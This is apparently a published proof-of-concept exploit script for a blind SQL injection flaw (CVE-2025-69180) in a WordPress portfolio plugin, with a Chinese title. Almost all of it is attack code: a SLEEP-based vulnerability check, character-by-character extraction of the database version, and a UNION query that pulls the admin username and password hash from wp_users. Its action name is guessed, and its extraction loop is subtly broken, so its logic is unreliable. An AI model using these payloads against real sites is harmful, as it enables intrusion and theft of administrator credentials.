CVE-2025-69180 WordPress Ultra Portfolio插件SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-69180 - WordPress Ultra Portfolio Blind SQL Injection PoC Author: Security Researcher Reference: https://www.cve.org/CVERecord?id=CVE-2025-69180 """ import requests import string import time target_url = "http://target-wordpress-site.com/" # Find the vulnerable endpoint - typically in ajax handler or shortcode processing vulnerable_endpoint = target_url + "wp-admin/admin-ajax.php" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-69180""" # Time-based blind SQL injection test test_payload = "1' AND SLEEP(5)-- -" params = { 'action': 'ultra_portfolio_query', # Typical action name 'id': test_payload } start_time = time.time() response = requests.post(vulnerable_endpoint, data=params, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print("[+] Target appears to be vulnerable!") return True return False def extract_database_version(): """Extract MySQL version using blind SQL injection""" charset = string.ascii_lowercase + string.digits + '-_' result = "" for i in range(1, 50): for char in charset: # Extract version using SUBSTRING and ASCII payload = f"1' AND ASCII(SUBSTRING((SELECT version()),{i},1))={ord(char)}-- -" params = {'action': 'ultra_portfolio_query', 'id': payload} start = time.time() response = requests.post(vulnerable_endpoint, data=params, timeout=10) if time.time() - start >= 2: result += char print(f"[*] Extracted: {result}") break elif response.status_code == 200 and 'wp' in response.text.lower(): # Alternative detection method result += char break return result def extract_admin_credentials(): """Extract WordPress admin user and password hash""" # SQL query to extract admin credentials sql_payload = "1' AND 1=0 UNION SELECT 1,2,user_login,user_pass FROM wp_users WHERE ID=1-- -" params = {'action': 'ultra_portfolio_query', 'id': sql_payload} try: response = requests.post(vulnerable_endpoint, data=params, timeout=30) # Parse response to extract credentials # Note: Actual exploitation requires proper UNION injection return response.text except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-69180 Ultra Portfolio SQL Injection Tester") print("=" * 50) if check_vulnerability(): print("[*] Proceeding with data extraction...") version = extract_database_version() print(f"[+] Database Version: {version}") else: print("[-] Target does not appear to be vulnerable")